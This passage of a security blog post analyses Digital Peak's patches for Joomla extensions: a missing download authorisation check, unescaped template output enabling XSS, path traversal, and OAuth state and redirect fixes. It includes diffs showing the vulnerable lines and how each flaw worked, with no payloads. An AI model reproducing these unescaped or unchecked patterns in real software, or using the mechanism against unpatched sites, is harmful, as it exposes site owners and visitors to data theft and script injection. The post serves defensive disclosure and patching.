&lt;span&gt;&lt;span&gt; 		exit(0);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; 	}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The original test asks whether the attachment exists. It does not ask whether the requester is entitled to it. Those are different questions, and only one of them was being asked.&lt;/p&gt;
&lt;p&gt;The fix adds a &lt;code&gt;canView()&lt;/code&gt; method to the component and calls it from both the download controller and the front-end attachment view, which had the same gap:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; canView&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;stdClass&lt;/span&gt;&lt;span&gt; $attachment)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; bool&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;$this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;canDo&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;core.edit&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, $attachment&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;context, $attachment&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;item_id)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;		return&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	$user &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;app&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getIdentity&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	if&lt;/span&gt;&lt;span&gt; ($user &lt;/span&gt;&lt;span&gt;===&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt; ||&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;)$attachment&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;state &lt;/span&gt;&lt;span&gt;!==&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;		return&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in_array&lt;/span&gt;&lt;span&gt;((&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;)$attachment&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;access,&lt;/span&gt;&lt;span&gt; $user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getAuthorisedViewLevels&lt;/span&gt;&lt;span&gt;(),&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;		return&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	$now &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; Date&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;toSql&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;empty&lt;/span&gt;&lt;span&gt;($attachment&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;publish_up) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; $attachment&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;publish_up &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; $now) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;		return&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	return&lt;/span&gt;&lt;span&gt; empty&lt;/span&gt;&lt;span&gt;($attachment&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;publish_down) &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; $attachment&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;publish_down &lt;/span&gt;&lt;span&gt;&amp;gt;=&lt;/span&gt;&lt;span&gt; $now;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read that as a list of the things that were not being enforced, because that is what it is. Publication state, view access level, publish-up date and publish-down date were all recorded on the attachment and none of them governed who could download it.&lt;/p&gt;
&lt;p&gt;The acceptance tests added alongside the fix say the same thing more bluntly. One is titled &lt;code&gt;canNotOpenUnpublishedAttachmentDetailsPage&lt;/code&gt;, and its stated intent is “that an unpublished attachment cannot be viewed by a guest”. A test written to check that a guest cannot do something is a test written because a guest could.&lt;/p&gt;
&lt;p&gt;This is the classic missing-authorisation shape, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/862.html&quot;&gt;CWE-862&lt;/a&gt;, and it is the same pattern we wrote up when &lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;Events Booking exposed invoices&lt;/a&gt; and when &lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login and left the data&lt;/a&gt;. Attachment IDs are sequential integers, which is the part that turns a missing check into a practical problem.&lt;/p&gt;
&lt;p&gt;We are describing the mechanism at the level the vendor did, and not publishing a request template, because most sites running this extension have not updated yet.&lt;/p&gt;
&lt;h2&gt;The escaping was already there, one field along&lt;/h2&gt;
&lt;p&gt;The second DPAttachments fix, &lt;code&gt;Case 12253&lt;/code&gt;, is in the CSV preview template. It escaped the body of the table and not the header row.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt; &amp;lt;?php foreach ($csv-&amp;gt;titles as $title) { ?&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;	&amp;lt;td&amp;gt;&amp;lt;?php echo $title; ?&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;+&lt;/span&gt;	&amp;lt;td&amp;gt;&amp;lt;?php echo $this-&amp;gt;escape((string)$title); ?&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; &amp;lt;?php } ?&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; &amp;lt;?php foreach ($csv-&amp;gt;data as $row) { ?&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; 	&amp;lt;?php foreach ($row as $value) { ?&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;		&amp;lt;td&amp;gt;&amp;lt;?php echo nl2br(htmlentities((string) $value)); ?&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;+&lt;/span&gt;		&amp;lt;td&amp;gt;&amp;lt;?php echo nl2br($this-&amp;gt;escape((string)$value)); ?&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; 	&amp;lt;?php } ?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The data cells were already running through &lt;code&gt;htmlentities()&lt;/code&gt;. The header cells, four lines above them in the same file, were not. Digital Peak committed a test fixture, &lt;code&gt;test-xss.csv&lt;/code&gt;, whose first column heading is a working &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, and an acceptance test that asserts the script does not execute.&lt;/p&gt;
&lt;p&gt;The DPCalendar fix has the same signature. In the location map template, the description was escaped and the title beside it was not:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;		 data-title=&quot;&amp;lt;?php echo $this-&amp;gt;location-&amp;gt;title; ?&amp;gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;+&lt;/span&gt;		data-title=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;location-&amp;gt;title); ?&amp;gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; 		data-description=&quot;&amp;lt;?php echo $this-&amp;gt;escape($description); ?&amp;gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We reported that line on 27 August, six hours after 10.12.0 shipped, and it is the only DPCalendar item in this release that did not come from the vendor’s own audit.&lt;/p&gt;
&lt;p&gt;That is a pattern worth being able to spot in your own code. A defended field sitting next to an undefended one is much harder for a human reviewer to catch than a block with no escaping at all, because the visible &lt;code&gt;escape()&lt;/code&gt; call on the neighbouring line makes the whole section read as handled. Anyone who has reviewed a template at the end of a long day has skimmed past exactly this.&lt;/p&gt;
&lt;p&gt;If you have overridden any of these templates, your override still contains the unescaped output, and updating the extension will not touch a copy sitting in your template folder. That is the single most likely way to install this update and stay vulnerable, and it applies to the DPCalendar location templates for the second release running.&lt;/p&gt;
&lt;h2&gt;What changed in DPMedia and DPCases&lt;/h2&gt;
&lt;p&gt;DPMedia is half readable. The shared library and two of its plugins ship in a &lt;a href=&quot;https://github.com/Digital-Peak/DPMedia-Free&quot;&gt;public repository&lt;/a&gt;; the DPReferences panel and the Google Drive and Dropbox providers do not, so the High rests on the vendor’s description. DPCases has no public repository at all.&lt;/p&gt;
&lt;p&gt;The DPMedia High is &lt;code&gt;DPReferences shows references for users without media manager access&lt;/code&gt;, an information disclosure: the references panel listed items to people who had no business seeing the media library. The two fixes that can be read are the path traversal and the OAuth state parameter. The traversal fix adds a &lt;code&gt;resolvePath()&lt;/code&gt; method that walks a virtual path segment by segment and throws when a &lt;code&gt;..&lt;/code&gt; would climb above the adapter root, then routes the locally cached copy of a remote file through it, so a filename reported by a remote provider cannot steer the cache write outside &lt;code&gt;/images/dp&amp;lt;provider&amp;gt;/media&lt;/code&gt;. The OAuth fix checks a &lt;code&gt;state&lt;/code&gt; value against a &lt;code&gt;dp_state&lt;/code&gt; cookie with &lt;code&gt;hash_equals()&lt;/code&gt; before storing a refresh token, which is the standard defence against a forged callback completing an account connection the site owner never started. The same control appears in DPCalendar in this release, so the audit found it missing in two places and both were closed together.&lt;/p&gt;
&lt;p&gt;One DPMedia fix is in the code and not in the announcement. The OAuth callback used to redirect to whatever URL the &lt;code&gt;dp_url&lt;/code&gt; cookie held, and 1.21.1 adds a &lt;code&gt;getSafeRedirectUrl()&lt;/code&gt; guard that falls back to &lt;code&gt;index.php?option=com_media&lt;/code&gt; unless the target is relative or on the current host. That is an open redirect closed without being named as one.&lt;/p&gt;
&lt;p&gt;The DPCases High escapes user information in views, and a second fix stops icon paths escaping the root directory. DPCases 3.8.1 also contains one feature change, support for a template images folder for icons, so it is not a security-only release.&lt;/p&gt;
&lt;p&gt;The DPCalendar CSRF fix is the one worth understanding structurally. Adding a state parameter to an OAuth-style import flow is the standard defence against a forged request completing an account connection that the site owner never started. It appears in both DPCalendar and DPMedia in this release, which suggests the audit found the same missing control in two places and both were closed together.&lt;/p&gt;
&lt;h2&gt;Why did the Joomla 3 branch only get one of the fixes?&lt;/h2&gt;
&lt;p&gt;DPCalendar 8.19.6 is labelled security only, and its release notes list exactly one item: the unescaped location title. The package bears that out. Diffing the shipped 8.19.5 and 8.19.6 archives, and setting aside version numbers in the manifests, the entire release is one changed line of executable code. The two Medium fixes in 10.12.1, the Microsoft and Exchange filename hardening and the CSRF state parameter, are not there.&lt;/p&gt;
&lt;p&gt;That is a defensible call and it is worth being clear-eyed about what it means. Digital Peak keeps DPCalendar 8.x in what it has called hybrid maintenance mode for Joomla 3, and it is &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;one of the few vendors&lt;/a&gt; still backporting anything to a branch whose CMS &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;reached end of life in August 2023&lt;/a&gt;. Compare that with &lt;a href=&quot;https://mysites.guru/blog/joomshaper-drops-joomla-3-support/&quot;&gt;JoomShaper ending Joomla 3 security fixes&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/j2store-3-end-of-life/&quot;&gt;J2Store 3 stopping in October&lt;/a&gt; and Digital Peak looks generous.&lt;/p&gt;
&lt;p&gt;The practical reading for anyone still on Joomla 3 is that a security-only branch gets the issues the vendor rates High and not the hardening that goes with them. Every Medium in this release is a Joomla 4, 5 and 6 fix. If a Medium is later reclassified, or turns out to be reachable in some unexpected way, the Joomla 3 branch does not have it.&lt;/p&gt;
&lt;h2&gt;Where the DPCalendar fix came from&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-order-by-sqli-location-xss/&quot;&gt;DPCalendar 10.12.0&lt;/a&gt; shipped on the morning of 27 August and fixed a location title XSS reported by Toan Le, escaping nine &lt;code&gt;data-title&lt;/code&gt; sinks across the component. It left the tenth, in the location map subtemplate that the location detail page loads by default. We read the release the same afternoon, confirmed the leftover sink against a clean 10.12.0 install, and reported it to Digital Peak and the Joomla Security Strike Team six hours after the release went out.&lt;/p&gt;
&lt;p&gt;Allon Moritz confirmed it the next morning and said the fix would ship in about a month, on the grounds that planting the payload needs DPCalendar location create permission. It arrived thirteen days later, inside this batch.&lt;/p&gt;
&lt;p&gt;Today’s announcement went up without a credit. We wrote to Digital Peak the same morning, having diffed both packages to confirm the sink was closed, and the line was added a few hours later: “Again thanks to Phil Taylor from mysites.guru for rechecking the latest release and finding the issue in the map view.” Allon Moritz had been ill, and this is a vendor with a good record on attribution: it named Toan Le in August and credited us properly when we &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;reported an unauthenticated SQL injection in July&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The other eleven issues are not ours and we make no claim on them.&lt;/p&gt;
&lt;h3&gt;The upcoming module held seven more of the same line&lt;/h3&gt;
&lt;p&gt;The changelog reads “map view and upcoming module”, and the second half is the larger number. The upcoming module is a separate free download, so its packages can be diffed too. Every one of its seven layouts held the identical unescaped sink, and 10.12.1 closes all seven:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;   data-title=&quot;&amp;lt;?php echo $location-&amp;gt;title; ?&amp;gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;+&lt;/span&gt;   data-title=&quot;&amp;lt;?php echo htmlentities($location-&amp;gt;title, ENT_COMPAT, &apos;UTF-8&apos;) ?&amp;gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;blog.php&lt;/code&gt;, &lt;code&gt;default.php&lt;/code&gt;, &lt;code&gt;horizontal.php&lt;/code&gt;, &lt;code&gt;icon.php&lt;/code&gt;, &lt;code&gt;panel.php&lt;/code&gt;, &lt;code&gt;simple.php&lt;/code&gt; and &lt;code&gt;timeline.php&lt;/code&gt;, each echoing a location title straight into a double-quoted attribute. We reported one instance, in the component; the release closed eight. Whether the other seven came out of the audit or out of someone grepping the codebase after our report is not something we can tell from the outside. Either way, if you run the upcoming module, which layout you picked made no difference.&lt;/p&gt;
&lt;h2&gt;The CVE record moved on release day&lt;/h2&gt;
&lt;p&gt;The location title flaw already had a number. &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78071&quot;&gt;CVE-2026-78071&lt;/a&gt; was published on 28 August for Toan Le’s original report, and its affected range stopped at 8.19.4 and 10.11.2. That range declared 8.19.5 and 10.12.0 clean, and those were the two builds still holding the missed sink.&lt;/p&gt;
&lt;p&gt;We raised it with the Joomla CNA on the morning of the release and the record was updated within the hour. The affected range now reads 7.0.0-8.19.5 and 9.0.0-10.12.0, and the credits list two finders instead of one.&lt;/p&gt;
&lt;p&gt;A site sitting on 10.12.0 could read the old record, conclude it was already patched, and have no reason to install 10.12.1. We follow the affected range a CVE states rather than overriding it, so our own database did not flag those sites while the record called them clean. Widening the range was the fix for that, rather than working around it.&lt;/p&gt;
&lt;h2&gt;How Digital Peak found these issues&lt;/h2&gt;
&lt;p&gt;The other eleven came out of the audit, and the vendor is unusually direct about the method. The announcement opens: “We made some security analysis with Claude in the last days and are shipping today fixes for these issues.”&lt;/p&gt;
&lt;p&gt;The findings resulted in shipped code with tests attached. Whatever the discovery method, the DPAttachments commits are public, the missing access check is visible in the diff, and the acceptance tests encode the behaviour that was wrong. That is a higher bar than most vulnerability reports clear, and it is the bar that matters when you are deciding whether to interrupt your afternoon.&lt;/p&gt;
&lt;p&gt;This is a long way from the first AI-assisted credit in the Joomla world. When &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 patched ten security issues&lt;/a&gt; in May 2026, three of those advisories credited “Doyensec in collaboration with Claude and Anthropic Research”: CVE-2026-40383, CVE-2026-40384 and CVE-2026-48896. We wrote at the time that more attributions like that should be expected, and they arrived. Yannick Gaultier of weeblr credited AI tooling for two 4Analytics CVEs in July and said security audit runs would be systematic from then on, and Roland Dalmulder of RolandD Cyber Produksi described finding flaws the same way in the Joomla Community Magazine in August.&lt;/p&gt;
&lt;p&gt;What is unusual here is the placement rather than the method: Digital Peak put it in the title of the release announcement.&lt;/p&gt;
&lt;p&gt;Our own position on where AI sits in this work is &lt;a href=&quot;https://mysites.guru/ai-statement/&quot;&gt;set out in full&lt;/a&gt;, and it has not changed: &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;every one of the vulnerabilities we have disclosed&lt;/a&gt; was found by a human reading source code first, with tooling behind it and AI used at the end to check that nothing was missed. Digital Peak has taken a different route to the same destination. Both produced patched code, which is the only output a site owner can actually use.&lt;/p&gt;
&lt;h2&gt;The code and the downloads went public together&lt;/h2&gt;
&lt;p&gt;The three DPAttachments fixes were written on 7 September, with commit timestamps between 08:33 and 09:49 UTC. They did not become public then. They reached the public repository in a push at 03:17 UTC on 10 September, and the DPCalendar Free 10.12.1 commit followed at 03:42 UTC, hours before the announcement went up.&lt;/p&gt;
&lt;p&gt;That ordering is the right one. A public fix commit is a map to the flaw it fixes, and pushing the code days ahead of the release would have given anyone watching the repository a head start on every unpatched site. Digital Peak held the commits and published the code and the downloads together.&lt;/p&gt;
&lt;p&gt;It also means the diff-to-exploit clock started this morning, for everybody, at the same time. &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/#ai-is-shrinking-the-gap-between-a-joomla-patch-and-mass-exploitation&quot;&gt;That window is measured in hours now&lt;/a&gt;, which is the argument against leaving this until the weekend.&lt;/p&gt;
&lt;h2&gt;DPCalendar is not one update&lt;/h2&gt;
&lt;p&gt;DPCalendar ships as a component plus a large family of separately installable plugins and modules: payment plugins for Stripe, PayPal, Mollie, Braintree and Bexio, calendar integrations for Google, Microsoft, Exchange, CalDAV, Zoom, Eventbrite and more, plus map, mini, counter and upcoming modules. Each one gets its own version bump in a release like this.&lt;/p&gt;
&lt;p&gt;On the day of this release, our &lt;a href=&quot;https://releases.mysites.guru/joomla?q=DP&quot;&gt;Release Radar&lt;/a&gt; recorded &lt;strong&gt;59 distinct DPCalendar items&lt;/strong&gt; moving to the new versions, 29 on the 10.12.1 branch and 30 on 8.19.6. A given site only needs the pieces it has installed, and most sites run a handful. But a site with several calendar integrations has a list to work through, and Joomla’s update manager will present them as separate rows.&lt;/p&gt;
&lt;p&gt;Two of those plugins matter more than the rest in this release. The Microsoft and Exchange plugins are the ones the attachment filename hardening applies to, so if you sync a calendar from a Microsoft 365 account, those are the two to check are actually on the new version rather than assuming the component update covered them.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/release-radar-joomla-wordpress-extension-releases/&quot;&gt;Release Radar&lt;/a&gt; is free and needs no account, which is the point of it: an out-of-band release from a commercial vendor is exactly the event that no extension directory records.&lt;/p&gt;
&lt;h2&gt;How many of the sites we can see are still vulnerable?&lt;/h2&gt;
&lt;p&gt;We record the installed version of every extension on every connected site, which lets us say something about how a release like this actually spreads instead of guessing. Counting only sites that have reported in during the last 30 days, measured on the morning of release:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;About nine in ten&lt;/strong&gt; DPCalendar installs are on a version below 10.12.1 or 8.19.6. That is ordinary for release day, and it is why we mail affected customers rather than waiting for someone to notice a version badge change&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Roughly one in seven&lt;/strong&gt; is on the 8.x branch, and five in six of those really are running Joomla 3 underneath&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;About one in eighteen&lt;/strong&gt; is on the 9.x line or older, where no patch exists at all. Those sites need a staged major upgrade rather than an update, and they have been in that position since July&lt;/li&gt;
&lt;li&gt;DPMedia, DPAttachments and DPCases show up on far fewer connected sites than DPCalendar, few enough that quoting a percentage would imply a precision the sample does not have. Treat those three as “check whether you have them” rather than as a trend&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are not publishing site counts. The proportions are the useful part, and the size of the estate is not ours to hand out.&lt;/p&gt;
&lt;p&gt;One more figure worth having, because it is the opposite of what the four-extension headline suggests: only about &lt;strong&gt;one Digital Peak site in seventy&lt;/strong&gt; runs more than one of these four extensions. The stacking happens at account level instead, where roughly &lt;strong&gt;one affected account in twelve&lt;/strong&gt; holds more than one of the products. This is a job for the agency owner with several clients, not a job that piles up on any one site.&lt;/p&gt;
&lt;h3&gt;How fast did the last DPCalendar release spread?&lt;/h3&gt;
&lt;p&gt;We can measure this one instead of guessing, because DPCalendar 10.12.0 shipped only two weeks ago. Of the sites that took that update through mySites.guru:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Half were patched within &lt;strong&gt;a day and a bit&lt;/strong&gt;, and just under half were done inside the first 24 hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Around nine in ten&lt;/strong&gt; were done within three days&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;More than nine in ten of those updates were somebody clicking update.&lt;/strong&gt; Only about one in fourteen came from the automatic update engine&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One figure should decide how you plan today, if any of your sites are still on Joomla 3:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DPCalendar updates targeting the &lt;strong&gt;8.x branch succeeded 67% of the time&lt;/strong&gt;. The same operation on the 10.x line succeeded &lt;strong&gt;91% of the time&lt;/strong&gt;. Roughly one Joomla 3 update attempt in three ends stuck on a failure rather than on a patched site&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That gap is the practical cost of running extensions on an end-of-life CMS, and it compounds: a failed update leaves the site unpatched, and it stays that way until someone checks. If your Joomla 3 sites matter, budget time to confirm 8.19.6 actually installed rather than assuming the click worked.&lt;/p&gt;
&lt;p&gt;These adoption figures only see updates run through mySites.guru, and only since April 2026, so read every one of them as a floor rather than a total.&lt;/p&gt;
&lt;h2&gt;How do you update a four-extension wave safely?&lt;/h2&gt;
&lt;p&gt;The mechanics are ordinary Joomla extension updates. The parts worth care on this particular release:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Start with DPAttachments 5.8.1.&lt;/strong&gt; It is the one with a missing authorisation check, and the only one the vendor singles out&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your branch, not the highest version number.&lt;/strong&gt; On Joomla 3 your DPCalendar target is 8.19.6, not 10.12.1. The 9.x line has no patch at all and needs the staged route across to 10.x&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update the plugins, not just the component.&lt;/strong&gt; Especially the Microsoft and Exchange calendar plugins, and any payment plugins you run&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your template overrides.&lt;/strong&gt; If you have overridden the DPCalendar location templates or the DPAttachments CSV preview, the unescaped output is still sitting in your override and the update will not reach it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first&lt;/strong&gt;, particularly on the 9.x line where this is a staged upgrade rather than a point release&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Turn on automatic updates&lt;/strong&gt; so the next out-of-band release arrives without you watching for it. We wrote up &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;how to enable auto-updates for any Joomla extension&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Point four is the one that catches people. An override is a copy, and a security fix in a vendor template never reaches a copy. You can &lt;a href=&quot;https://mysites.guru/blog/check-joomla-template-overrides-across-sites/&quot;&gt;find the overrides an update changed on every site&lt;/a&gt; without logging in to each one.&lt;/p&gt;
&lt;h2&gt;How do I find every site running a Digital Peak extension?&lt;/h2&gt;
&lt;p&gt;Searching the extension by name in the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;mySites.guru Extension Inventory&lt;/a&gt; lists every connected site running it, with the version each one reports, so you work through one list instead of logging into sites one at a time to check. For a release touching four products, that is the difference between an afternoon and a morning.&lt;/p&gt;
&lt;p&gt;Sites running a version below the fix get flagged automatically once the vulnerability is in our database, and the &lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;announcement list&lt;/a&gt; puts the urgent ones in your inbox on the day rather than the week after. If you are not a subscriber, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; will tell you what a single site is running.&lt;/p&gt;
&lt;p&gt;The official &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; will almost certainly not record this release, which is why we keep &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;our own vulnerability database&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-27&lt;/strong&gt; mySites.guru reports the missed sink DPCalendar 10.12.0 ships that morning and escapes nine data-title sinks in the component. It leaves the tenth, in the location map subtemplate that the location detail page loads by default. We confirm the leftover sink against a clean 10.12.0 install and report it to Digital Peak and the Joomla Security Strike Team six hours after the release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-28&lt;/strong&gt; Digital Peak confirms the report Allon Moritz confirms it the next morning and says the fix will ship in about a month, on the grounds that planting the payload needs DPCalendar location create permission.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-07&lt;/strong&gt; Digital Peak writes the DPAttachments fixes The three DPAttachments security commits are authored between 08:33 and 09:49 UTC, each named for the internal case number that later appears in the changelog. They stay private for three days.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; The code is pushed to the public repositories The DPAttachments fixes reach the public repository in a push at 03:17 UTC, with the repository recording further activity at 03:34 UTC and the DPCalendar Free 10.12.1 commit at 03:42 UTC. The code and the downloads became public together rather than the code going first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; Digital Peak publishes the advisory and ships five releases DPCalendar 10.12.1 and 8.19.6, DPMedia 1.21.1, DPAttachments 5.8.1 and DPCases 3.8.1, out of band and outside the vendor&apos;s normal fourth-Thursday schedule. The announcement credits security analysis done with Claude and names each issue with a severity.&lt;/li&gt;
